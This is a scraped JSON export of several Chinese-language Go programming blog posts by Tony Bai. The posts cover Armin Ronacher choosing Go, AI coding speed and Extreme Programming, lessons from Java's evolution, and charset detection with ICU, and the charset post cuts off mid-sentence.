href=\"https://github.com/bchess/k8s-1m\"\u003e\u003cstrong\u003ek8s-1m\u003c/strong\u003e\u003c/a\u003e。他的目标，是向着那座从未有人登顶的、充满未知险峻的**“百万节点”**之巅，发起一次单枪匹马的极限攀登。\u003c/p\u003e","title":"一个 Kubernetes 集群的“珠峰攀登”：从 10 万到 100 万节点的极限探索"},{"content":"为什么 Flask 的创造者选择 Go 作为他 AI 创业公司的核心语言？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n为什么 Flask 的创造者选择 Go 作为他 AI 创业公司的核心语言？ 十月 19, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/10/19/flask-creator-choose-go\n大家好，我是Tony Bai。\nArmin Ronacher，这个名字在 Python 世界如雷贯耳。作为广受欢迎的 Web 框架 Flask 的创造者、Sentry 的首批工程师之一，他被公认为 Python 社区最具影响力的开发者之一。然而，最近在一场深度访谈中，他透露了一个足以让许多人感到惊讶的决定：\n在他的新 AI 创业公司中，Go 成为了核心的后端语言。\n为什么一位浸淫 Python 和 Rust 生态多年的顶尖开发者，会在 AI 创业的浪潮中，最终将信任票投给了 Go？这个选择的背后，并非一时兴起，而是一场关于务实主义、生态位和 AI 时代生产力的深刻权衡。\n在这篇文章中，我们就来看看这位 Python 大师在 AI 时代技术选型的心路历程。\n被放弃的“旧爱”——Python 的复杂性与 Rust 的“摩擦力” 要理解为什么选择 Go，我们必须先理解 Armin Ronacher 放弃了什么。他将自己比作一个拥有“分裂大脑”的程序员：一面是追求极致工艺的开源匠人，另一面是追求快速迭代的创业者。对于后者，他曾经深爱的 Python 和 Rust，都显得不再完美。\nPython：深爱但日趋复杂 作为 Armin 的“母语”，Python 的务实和灵活性毋庸置疑，尤其是在数据处理和 ML 领域。但他坦言，随着时间的推移，Python 语言本身变得越来越复杂。“对于一众工程师来说，Go 反而比 Python 更容易写了，” 他在访谈中说道。对于一个需要快速构建、易于团队协作的后端服务来说，现代 Python 并非总是最佳选择。\nRust：开源世界的“瑞士腕表”，创业公司的“巨大摩擦力” Armin 对 Rust 充满了敬意，称其为打造精密、高性能开源库的“瑞士腕表”。他在 Sentry 引入 Rust 处理二进制文件和解决性能瓶颈，取得了巨大成功。然而，当场景切换到需要快速迭代的初创公司时，Rust 的优点却可能转化为“摩擦力”：\n极慢的编译速度：“这是一个巨大的因素。” 陡峭的学习曲线：借用检查器 (borrow checker) 等概念虽然强大，但也极大地增加了心智负担，拖慢了开发速度。“Rust 解决了许多‘Rust 形’的问题，” Armin 总结道，“但并非所有问题都是‘Rust 形’的。” Go 的胜出——务实主义者的最终选择 正是在 Python 的日益复杂和 Rust 的高摩擦力之间，Go 以其独特的定位脱颖而出，成为了 Armin 创业之路上的务实之选。\n精准的生态位：“为 Web 服务而生” Armin 对 Go 的定位评价极其精准：\n“我认为 Go 就是一门构建 Web 服务的好语言，而且基本上只专注于 Web 服务（可能还有一些命令行工具）。”\n这看似一句“限制”，实则是一种褒奖。它意味着 Go 在其核心领域——网络编程和分布式系统——拥有一个高度专注、极其成熟且无与伦比的生态系统。对于一家构建网络服务的初创公司而言，这种专注性远比语言的“全能性”更有价值。\n“它不会超级性感，” Armin 补充道，“但你可以期待它会长久存在。” 这种稳定性和可预测性，对于需要构建长期产品的公司来说，是至关重要的技术资产。\nAI 时代的“超能力”：对 AI 编码助手更友好 这可能是整场访谈中最令人振奋的发现。作为一个重度 AI 编码工具的使用者，Armin 进行了一项实验：让 AI 用不同语言编写同一类程序，然后评估其成功率和代码质量。\n他的结论是：Go 的表现远超 Python 和 Rust。\n他分析其原因为：\n“因为 Go 的抽象非常薄 (abstractions are very thin)。”\n这句评价一语中的。Go 语言的小关键字集、简洁的语法、无隐式转换、明确的错误处理……所有这些被一些人批评为“不够强大”的设计，在 AI 模型眼中，恰恰成为了最清晰、最无歧义的指令。AI 更容易理解和生成地道的 Go 代码，因为语言本身留下的“灰色地带”和“魔法”最少。\n在 AI 驱动开发的时代，Go 的“简单”，正从一种设计哲学，演变为一种实实在在的生产力优势。\nSentry 的教训——错误处理的隐性价值 Armin 在 Sentry 十年的经历，让他对错误处理有了深刻的理解。他指出，许多语言和运行时为了追求性能，往往会牺牲掉在生产环境中获取丰富错误信息的能力。\n“许多语言的运行时经常忽略错误……它们没有携带正确的信息，而应用和库开发者也根本不考虑错误。”\n这段话让我们不禁反思 Go 的 error 接口和错误包装 (error wrapping) 机制。虽然 if err != nil 常被诟病为冗长，但它强制开发者在每个环节都直面错误，并通过错误包装链，为我们提供了在生产环境中保留完整上下文的可能性。\nArmin 的经验告诉我们，这种对错误信息的执着，并非“啰嗦”，而是在构建可观测、可维护系统时，一项极其宝贵的投资。\n小结：为什么是 Go？ 回到最初的问题：为什么是 Go？\nArmin Ronacher 的选择，为我们提供了一个清晰的答案。他选择 Go，不是因为它拥有最前沿的特性，也不是因为它能解决所有问题。他选择 Go，是因为在一个充斥着复杂性和不确定性的 AI 创业时代，Go 提供了最宝贵的东西：\n务实：它专注于解决 Web 服务的核心问题，不多也不少。 简洁：它的“薄抽象”使其在与 AI 协同工作时效率惊人。 健壮：它的错误处理哲学，以及在并发、部署上的优势，为构建可靠的系统奠定了基础。 一位来自 Python 世界的大师，最终用自己的技术选型，为 Go 的设计哲学投出了最宝贵的一票。这提醒我们，Go 的成功并非偶然，而是其核心设计原则在真实世界工程需求下，不断被验证的必然结果。\n资料链接：https://www.youtube.com/watch?v=45kVol96IlM\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/19/flask-creator-choose-go/","summary":"\u003ch1 id=\"为什么-flask-的创造者选择-go-作为他-ai-创业公司的核心语言---tony-bai\"\u003e为什么 Flask 的创造者选择 Go 作为他 AI 创业公司的核心语言？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"为什么 Flask 的创造者选择 Go 作为他 AI 创业公司的核心语言？"},{"content":"AI 让代码产出速度提升 10 倍，为什么我们的软件交付成功率却停滞不前？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nAI 让代码产出速度提升 10 倍，为什么我们的软件交付成功率却停滞不前？ 十月 18, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/10/18/revisit-extreme-programming-in-the-age-of-ai\n大家好，我是Tony Bai。\nAI 编程助手、自动化代码生成、Agentic 开发系统……我们正目睹一场由 AI 引领的软件生产力革命。代码的产出速度正以 5 倍、10 倍甚至更高的倍率疯狂增长。理论上，我们应该能更快、更好地交付软件。但现实却给了我们一记响亮的耳光：我们的软件交付成功率，数十年来几乎毫无寸进，甚至有所倒退。\n这就是 AI 时代软件开发的核心悖论：我们获得了前所未有的“产出”速度，却未能将其转化为更高的“成功”概率。最近，一篇题为《我们是否应该在 AI 时代重温极限编程？》的文章深入探讨了这一现象。文章作者尖锐地指出，我们可能正陷入一个“速度陷阱”，用最先进的工具去解决一个早已不是瓶颈的问题。\n本文将和大家一起解读一下这篇文章的核心论点，探讨为何“速度”本身无法带来成功，以及为什么作者认为，那条通往高价值交付的道路，可能需要我们重温极限编程（Extreme Programming, XP）的智慧。\n产出的幻觉：我们一直在加速，却在原地打转 文章的核心论点始于一个简单而深刻的观察：代码的生成速度，从来就不是软件开发的根本瓶颈。作者回顾了过去几十年的技术演进，从高级语言到 DevOps，再到云原生，每一次变革都极大地提升了代码产出效率，而 AI 只是将这条“加速”之路推向了极致。\n为了支撑这一观点，文章引用了多项权威数据，揭示了一个残酷的现实：\n根据长期运行的 Standish CHAOS 研究报告和麦肯锡的分析，超过 70% 的数字化项目仍以失败告终。 从 1994 年到 2020 年，尽管工具链发生了翻天覆地的变化，但项目按时、按预算成功交付的比例净增长微乎其微。 作者由此得出结论：我们只是在更快地制造砖块，却不知道如何用它们建起一座坚固、美观且符合用户需求的房子。当 AI 将制造砖块的成本降至接近于零时，设计的蓝图、工匠的协作和地基的稳固，就成了决定成败的唯一关键。\n失控的熵增：AI 如何放大我们最坏的习惯 在文章的分析中，最一针见血的部分莫过于其对 AI 风险的论述。作者认为，当代码生成变得毫不费力时，一个更致命的风险随之而来：我们生产软件垃圾的速度，远远超过了我们验证和清理它的速度。\n在没有严格约束的情况下，文章指出 AI 会成为“坏习惯”的放大器：\n快速堆积技术债: AI 可以迅速生成大量未经深思熟虑的逻辑，形成一个无人能懂、难以维护的“意大利面条式”代码迷宫。 **固化错误的假设:**作者引用了近期研究，表明大语言模型（LLM）的准确性会随着上下文窗口的增长而下降。这意味着 AI 极易在长链条的生成中引入微小错误，并基于这些错误继续构建，最终导致整个系统的脆弱性。 绕过人类协作:**文章还表达了一种担忧，即开发者可能会倾向于“与 AI 结对”，而不是与同事协作，这将严重削弱团队的共享上下文（Shared Context）**——这是解决复杂问题、确保软件长期健康的最宝贵资产。 文章的观点是，AI 让我们以前所未有的速度，构建出我们自己都无法理解和控制的复杂系统，而这恰恰是极限编程（XP）从诞生之日起就致力于解决的“失控的熵增”问题。\nXP 的反向智慧：唯一的出路是“刻意放慢” 面对这种由 AI 加剧的困境，文章提出了一个看似有悖常理的解决方案：拥抱极限编程（XP）的反向智慧，即通过“刻意的摩擦”来“刻意放慢”。\n作者对 XP 的核心实践进行了重新解读：\n结对编程 (Pair Programming): 它被描述为一种内置的实时代码审查、知识传递和风险对冲机制，其目的不是减慢速度，而是强制建立共享上下文。 **测试驱动开发 (TDD):**文章强调，TDD 强迫我们将关注点从“实现”拉回到“意图”，在写任何功能代码前，先定义清楚“我们到底想让系统做什么”。 持续集成 (CI) 与小批量发布: 这些实践被视为创建短而快的反馈循环的关键，使团队能以最小的成本发现错误、验证假设并调整方向。 在作者看来，XP 的所有实践都在为一个终极目标服务：通过极致的沟通、简约的设计和快速的反馈，来对抗软件开发中固有的不确定性。\n小结：答案在人，不在代码 回到最初的问题：AI 带来了 10 倍的速度，为何成功率停滞不前？\n《我们是否应该在 AI 时代重温极限编程？》这篇文章给出的答案清晰而坚定：因为我们错误地将“代码产出”等同于“价值交付”。作者在文末总结道，软件开发的真正瓶颈，从来都不是写代码的速度，而是：\n我们是否在构建正确的东西？（目标对齐） 团队成员是否对目标和现状有共同的理解？（共享上下文） 我们能否快速、低成本地验证我们的想法？（反馈循环） AI 无法自动解决这些问题，甚至可能使它们恶化。因此，文章的最终呼吁是，在 AI 时代，最具竞争力的团队，不是那些使用 AI 写代码最快的团队，而是那些能将 AI 的强大生产力，置于一个高度纪律化、以人为本的协作框架之下的团队。\n这篇充满洞察力的文章提醒我们：软件的终点是为人服务，它的过程也必须围绕人来构建。这或许才是打破“速度陷阱”，实现真正成功的唯一途径。\n资料链接：https://www.hyperact.co.uk/blog/should-we-revisit-xp-in-the-age-of-ai\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/18/revisit-extreme-programming-in-the-age-of-ai/","summary":"\u003ch1 id=\"ai-让代码产出速度提升-10-倍为什么我们的软件交付成功率却停滞不前---tony-bai\"\u003eAI 让代码产出速度提升 10 倍，为什么我们的软件交付成功率却停滞不前？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"AI 让代码产出速度提升 10 倍，为什么我们的软件交付成功率却停滞不前？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/18/lessons-from-java-26-years-evolution\n大家好，我是Tony Bai。\n历史不会简单重复，但总是惊人地相似。编程语言的演化，如同一部波澜壮阔的史诗，充满了智慧的闪光、艰难的抉择与深刻的教训。\n上月，资深工程师 Neil Madden 发表了一篇引人入胜的文章《点评 26 年的 Java 变更》，以一位亲历者的视角，犀利地回顾了这门“常青”语言的演进之路。\n注：Neil Madden口中的Java 26年是指自他1999年学习Java编程开始到2025年的今天。\n从Gopher视角来看，这并非一篇简单的技术评论，而是一次宝贵的以史为鉴的机会。\nJava 作为企业级开发的“前浪”，其三十年的漫长的发展历程就像一本厚重的教科书，记录了在引入泛型、改进 I/O、简化并发等几乎所有重大议题上的探索与挣扎。\n对于 Go 语言乃至整个软件工程领域而言，这其中蕴含着超越语言本身的普适性启示。本文并非旨在对比 Go 与 Java 的优劣，而是希望作为一部“技术沉思录”，通过 Java 这个案例，与各位一同探寻编程语言演进的内在规律。\n启示一：核心特性的引入，时机与设计的艺术 Java 5 (2004) – 泛型 (Generics)\n“as Go discovered on its attempt to speed-run Java’s mistakes all over again, if you don’t add generics from the start then you’ll have to retrofit them later, badly.”\n（正如 Go 在其“快速重蹈 Java 覆辙”的尝试中发现的那样，如果你不从一开始就加入泛型，那么日后就不得不糟糕地进行弥补。）\nJava 直到发布 8 年后才引入泛型。为了保持对海量存量代码的向后兼容性，它做出了一个影响深远的妥协：类型擦除 (type erasure)。这个决定虽然在当时解决了燃眉之急，却也带来了诸多“粗糙的边缘”，如反射处理困难、无法对泛型类型进行 instanceof 判断等，至今仍是 Java 开发者的痛点。\n由此看来，语言核心特性的引入，是一场关于时机与设计的精妙艺术。过早引入，可能因设计不成熟而留下历史包袱；过晚引入，则必然会受到向后兼容性的掣肘，导致实现上的妥协。Java 的经验深刻地揭示了“后补”式设计的代价。\nGo 语言在发布 12 年后才于1.18 版本引入泛型，同样面临巨大的兼容性压力。幸运的是，Go 团队得以借鉴 Java 的教训，选择了一条更艰难但更正确的道路——结合”Stenciling方案”和”Dictionaries方案”的“GC Shape Stenciling 方案”，在编译时间(二进制文件膨胀)以及运行时开销方面做了一个折中，并且没有类型擦除。这为 Go 泛型的未来发展奠定了更坚实的基础，也印证了一个原则：对于动摇语言根基的核心特性，宁愿慢，也要做对。\n注：关于Go泛型实现机制的详细说明，请参见极客时间《Go语言第一课》的第41讲《驯服泛型：明确使用时机》。\n启示二：API 是语言的“遗产”，其影响远超想象 Java 1.4 (2002) – “New” I/O (NIO)\n“Provided non-blocking I/O for the first time, but really just a horrible API… Has barely improved in 2 and a half decades.”\n（首次提供了非阻塞 I/O，但 API 简直糟透了……在 25 年里几乎没有任何改进。）\nNeil 对 Java NIO 的评价毫不留情。他吐槽其 API 令人困惑，并且 inexplicably（莫名其妙地）使用 32 位有符号整数表示文件大小，将文件限制在 2GB 以内，这成为了 Java I/O 长期以来的一个“历史污点”。\n这也印证了这样一条结论：标准库的 API 一旦发布，就成为语言最宝贵也最沉重的“遗产”。\n一个设计精良的 API 可以赋能一代又一代的开发者，而一个糟糕的 API 则可能成为数十年都难以摆脱的枷锁。它定义了开发者与语言交互的方式，深刻地影响着生产力、代码质量和开发者的心智模型。\nGo 语言从诞生之初就拥有一个设计极其精良的 I/O 模型。io.Reader 和 io.Writer 接口的简洁与强大，至今仍是语言设计的典范。Go 的网络库 net 基于操作系统提供的非阻塞 I/O（如 epoll），并通过 goroutine 将其巧妙地封装为同步阻塞的编程模型。这使得 Go 开发者既能享受非阻塞 I/O 的高性能，又无需陷入复杂的回调地狱。Java NIO 的“失误”深刻地提醒我们，在 API 设计上投入再多的思考也不为过。\n启示三：将正确的并发模型内置于语言，是生产力的巨大飞跃 Java 5 (2004) – java.util.concurrent\nJava 19 (2022) – 虚拟线程 (Virtual Threads)\nNeil 对 Doug Lea 的 java.util.concurrent (J.U.C) 包给予了满分盛赞，认为其设计极其出色。然而，他也指出，在苦苦挣扎于各种复杂的异步编程模型多年后，Java 才终于通过 Project Loom 引入了虚拟线程，试图在 JVM 层面实现 M:N 的轻量级并发模型。\n并发是现代软件开发的基石。一种语言如何处理并发，直接决定了其生产力的上限。Java 的演进路径——先提供一套强大的、专家级的底层并发工具（J.U.C），然后在多年后才引入一个更高层次、更易于大众使用的并发模型（虚拟线程）——揭示了一条从“提供工具”到“提供模型”的演进规律。\nGo 语言在这一点上扮演了“预言家”的角色。它从诞生之初就将轻量级并发 (goroutine) 和 通信 (channel) 作为语言的一等公民内置于运行时。这种 CSP (Communicating Sequential Processes) 模型，极大地简化了并发编程的心智负担。Go 的成功雄辩地证明了，将一个简单、强大的并发模型作为语言的核心特性，其带来的生产力飞跃，远非一个复杂的工具箱所能比拟。\n启示四：警惕范围蔓延，敬畏生态兼容性 Java 8 (2014) – Streams API\nJava 9 (2017) – 模块系统 (Modules)\nNeil 对 Java Streams API 和模块系统给出了惊人的低分。他认为，Streams API 为了实现“看似简单”的并行计算而过度设计，变得复杂难用。而模块系统（Project Jigsaw）虽然初衷是解决 JAR 地狱，但其引入的巨大动荡和对现有生态的破坏性，使其得不偿失。\n语言的演进充满了诱惑。一个好的特性，可能会因为被赋予了过多不相关的目标（范围蔓延）而变得臃肿不堪。任何试图“修正”语言底层生态的重大变革，都必须对生态兼容性抱有最大的敬畏。因为语言的生命力，最终源于其繁荣的社区和生态。\nGo 在这方面也并非一帆风順。Go Modules 在诞生之初也曾引发巨大争议，但最终凭借其相对简洁的设计和 go 命令的强大集成能力，成功地统一了 Go 的依赖管理生态，其过程虽然有阵痛，但避免了 Java 模块系统那样的“大分裂”。Java 的这两个案例，为 Go 未来的任何重大变革都敲响了警钟。\n小结：在巨人的肩膀上，继续沉思 回顾 Java 26 年的演进史，我们看到的不是一个失败者，而是一个不断自我革新、虽有失误但仍充满生命力的“巨人”。它的每一步探索，无论是成功还是失败，都为后来的语言（尤其是 Go）提供了宝贵的“启示录”。\nGo 的幸运在于，它诞生得更晚，可以在“巨人的肩膀上”看得更远，从而在泛型、I/O 模型和并发等核心问题上，做出了更符合时代需求的设计。\n然而，历史的镜子也照向未来。Go 如今也面临着自己的“沉思时刻”：如何平衡语言的简洁性与日益增长的表达力需求？如何演进标准库以适应新的挑战（这方面math/v2、json/v2做出了表率）？如何引入下一个可能具有破坏性的重大变革？\nJava 的故事告诉我们，语言的演进是一场永无止境的马拉松。唯有保持谦逊，以史为鉴，并始终将开发者的真实需求和语言的内在哲学放在首位，才能在这场长跑中行稳致远。\n资料链接：https://neilmadden.blog/2025/09/12/rating-26-years-of-java-changes/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/18/lessons-from-java-26-years-evolution/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/lessons-from-java-26-years-evolution-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/18/lessons-from-java-26-years-evolution\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/18/lessons-from-java-26-years-evolution\"\u003ehttps://tonybai.com/2025/10/18/lessons-from-java-26-years-evolution\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e历史不会简单重复，但总是惊人地相似。编程语言的演化，如同一部波澜壮阔的史诗，充满了智慧的闪光、艰难的抉择与深刻的教训。\u003c/p\u003e","title":"Go 技术沉思录：Java 26 年演进史给我们带来的启示"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/17/detect-charset-in-go\n大家好，我是Tony Bai。\n在上一篇关于 Go 语言 string 与 rune 设计哲学的文章发布后，我收到了许多精彩的反馈。其中，一位读者提出了一个极具现实意义的后续问题：“既然 Go 的世界以 UTF-8 为中心，那么当我们从外部系统（如老旧的文件、非标准的 API）接收到一段未知编码的字节流时，我们该如何是好？Go 生态是否有成熟的字符集检测工具/库？”\n这个问题，将我们从 Go 语言舒适、有序的“理想国”，直接拉回了那个充满了历史遗留问题、编码标准五花八门的“现实世界”。\n字符集检测，本质上是一种“隐式”的、带有猜测成分的“黑魔法”。本文将和大家一起探讨这门“黑魔法”背后的原理，审视 Go 生态中现有的解决方案，并最终回答那个核心问题：在 Go 中，我们应该如何优雅地处理未知编码的文本。\n在我们深入探讨具体的 Go 库及其实现之前，建立一个正确的预期至关重要。我们必须首先理解这门“黑魔法”的本质，明白为何字符集检测是一项与编码转换截然不同、且充满不确定性的任务。\n字符集检测——一门“不精确”的科学 在我们深入探讨具体的 Go 库及其实现之前，我们必须建立一个核心认知：字符集检测与编码转换截然不同，其本质上不是一个确定性的过程，而是一个基于启发式算法和统计学的概率性猜测。\n它就像一位语言学家，仅凭一小段文字（字节序列），就要猜出这段文字是用哪国语言（编码）写成的。\n如果文本足够长且特征明显，他可能会充满信心地说：“这看起来 99% 是日语 Shift-JIS。” 如果文本很短，或者内容模棱两可，他可能只能给出一个模糊的答案：“这可能是 latin-1，也可能是 windows-1252。” 在最坏的情况下，他甚至可能完全猜错。 因此，任何字符集检测工具，其返回的结果都应该被理解为一个带有置信度 (Confidence Score) 的“最佳猜测”，而非一个 100% 准确的真理。\n既然我们已经认识到字符集检测是一门“不精确”的科学，那么我们的探索自然会引向一个问题：在整个软件行业中，谁是解决这个难题的权威？我们继续往下探索。\n行业黄金标准——ICU 是什么？ 在字符集检测乃至整个国际化（i18n）领域，ICU (International Components for Unicode) 是绕不开的“黄金标准”。\n它是什么？ ICU 是一套由 Unicode 联盟维护的、极其成熟和全面的 C/C++ 和 Java 库。它为应用程序提供了强大的 Unicode 和全球化支持，是无数大型软件（从操作系统到浏览器）背后处理文本的“隐形英雄”。\n它能做什么？ ICU 的能力远不止字符集检测，它是一个庞大的工具集，为处理全球化文本提供了“全家桶”式的解决方案，包括：\n文本比较 (Collation)：提供符合特定语言文化习惯的字符串排序规则。\n示例：在德语中，”Österreich”（奥地利）应该排在 “Zürich”（苏黎世）之前，即使 Ö 在 Unicode 码点上可能大于 Z。在瑞典语中，å, ä, ö 被视为独立的字母，排在 z 之后。ICU 的 Collation 服务能正确处理这些复杂的排序逻辑。 格式化 (Formatting)：精确地格式化和解析日期、时间、数字、货币，并能处理不同地域的表示习惯。\n示例：数字 12345.67 在美国被格式化为 “12,345.67″，但在德国则会是 “12.345,67″。同样，日期 2025年9月26日 在美国可能是 “September 26, 2025″，在法国则是 “26 septembre 2025″。ICU 能根据指定的地域 (Locale) 自动进行正确的格式化。 文本转换 (Transformation)：支持大小写转换、全半角转换、音译等。\n示例：将土耳其语中的 i 转换为大写，正确的结果应该是带点的 İ，而不是 I。ICU 知道这个特殊的转换规则。它还可以将俄语中的西里尔字母 “Москва” 音译为拉丁字母 “Moskva”。 文本边界 (Text Boundaries)：能根据不同语言的规则，准确的识别出字符边界、字边界、换行边界以及句子边界。\n它的重要性？ ICU 是处理国际化文本领域权威且全面的解决方案。它的算法和数据经过了数十年的积累和验证，是业界公认的“事实标准”。\n了解了 ICU 在行业中的泰斗地位后，我们自然会好奇其强大能力的来源。现在，就让我们揭开这层神秘的面纱，深入探究其字符集检测算法，究竟是如何在一堆无序的字节中，扮演“文本侦探”的角色的。\nICU 的检测算法——“指纹”与“统计”的侦探艺术 ICU 的字符集检测算法是业界公认最强大的之一，其“侦探工作”主要分为两大策略，分别应对不同类型的编码。\n策略一：多字节编码的“指纹匹配” 对于像 UTF-8, GBK, Shift-JIS 这样的多字节编码，它们的字节序列都具有明确的“语法规则”或“指纹”。检测器为每种多字节编码都实现了一个状态机解码器。\n多字节编码字符集的检测流程如下图(参考saintfish/chardet的实现整理)：\n核心流程说明：\n逐字符解码：解码器尝试从字节流中一次解码一个字符。例如，一个 Shift-JIS 解码器知道，如果遇到一个 0×81-0x9F 或 0xE0-0xFC 范围内的字节，那么它后面必须跟一个 0×40-0xFE 范围的字节，两者才能组成一个合法的双字节字符。\n统计与评分：在解码过程中，算法会统计几个关键指标： * 双字节字符数 (doubleByteCharCount) * 错误字节数 (badCharCount) * 常用字符命中数 (commonCharCount)：每个编码器都内置了一张包含 50-100 个高频字符的“指纹”列表。解码出的每个字符都会在这张表里进行快速二分查找。\n计算置信度： * 提前退出：如果错误率过高（例如，badCharCount * 5 \u0026gt;= doubleByteCharCount），则该编码器会立即放弃，返回置信度 0。 * 综合评分：如果没有提前退出，则会根据上述指标进行综合评分。匹配到的常用字符越多，置信度越高。为了防止长文本导致过度自信，算法还采用了对数缩放来计算最终得分。\n这种基于“语法规则”和“高频词指纹”的匹配方式，使得多字节编码的识别相对精确。\n策略二：单字节编码的“统计学分析” 对于像 latin-1 或 windows-1252 这样的单字节编码，几乎任何字节序列都是“合法”的，“指纹匹配”策略在此失效。此时，检测器会切换到统计学分析模式。下面是单字节编码字符集的检测流程示意图：\n核心流程说明：\n字符规范化：首先，通过一个预定义的 charMap 表，将输入的字节流进行规范化处理，例如将大写字母转为小写，将重音符号转为基础字母，将多种标点符号统一视为空格。 N-gram 频率分析：算法在一个 3 字节的滑动窗口（即 trigram）中分析文本。每个语言的识别器都内置了一张包含 64 个最常见 trigram 的频率表（例如，英语的频率表会包含 a , an, be 等序列）。 计算命中率与置信度：通过二分查找，计算输入文本中的 trigram 在预定义频率表中出现的次数（ngramHit）。 * 高置信度：如果命中率超过一个阈值（如 33%），则认为匹配度很高，直接给出一个接近满分（如 98）的置信度。 * 按比例评分：如果命中率较低，则按比例将其缩放到 0-100 的范围内。 通过检测器会并发地运行所有这些识别器，最终将结果按置信度从高到低排序，返回最佳的猜测。\nCGO 方案的启示——uber-go/icu4go 的能力与局限 在了解了 ICU 的字符集检测算法后，我们终于可以进入实践环节。将 ICU 的强大能力引入 Go 生态，最直接的路径是什么？答案似乎是构建一座通往其原生 C 库（ICU4C）的桥梁。\nGo 社区曾有过这样的尝试，其中最著名的就是 Uber 开源的 uber-go/icu4go。这是一个通过 CGO，为 ICU4C 提供 Go 语言封装的库。然而，当我们深入探究这个库时，却发现了一个意想不到的事实。\n尽管底层的 ICU4C 库确实拥有强大的字符集检测功能（定义于 ucsdet.h），但 uber-go/icu4go 这个 Go 封装并没有暴露这部分 API。它主要专注于 ICU 的另一部分核心能力：\n本地化 (Locale)：处理不同地域的语言和文化习惯。 格式化 (Formatting)：提供对数字、货币、日期和时间的精确本地化格式化。 这意味着，即使我们愿意承担引入 CGO 的所有代价，uber-go/icu4go 也无法直接解决我们的字符集检测问题。\n注：uber-go/icu4go 如今已stable且被归档 (Archived)。\n不过，对于追求简洁的 Go 社区来说，为了一个功能而引入额外沉重的 C 依赖，往往被认为是得不偿失的。这次对 CGO 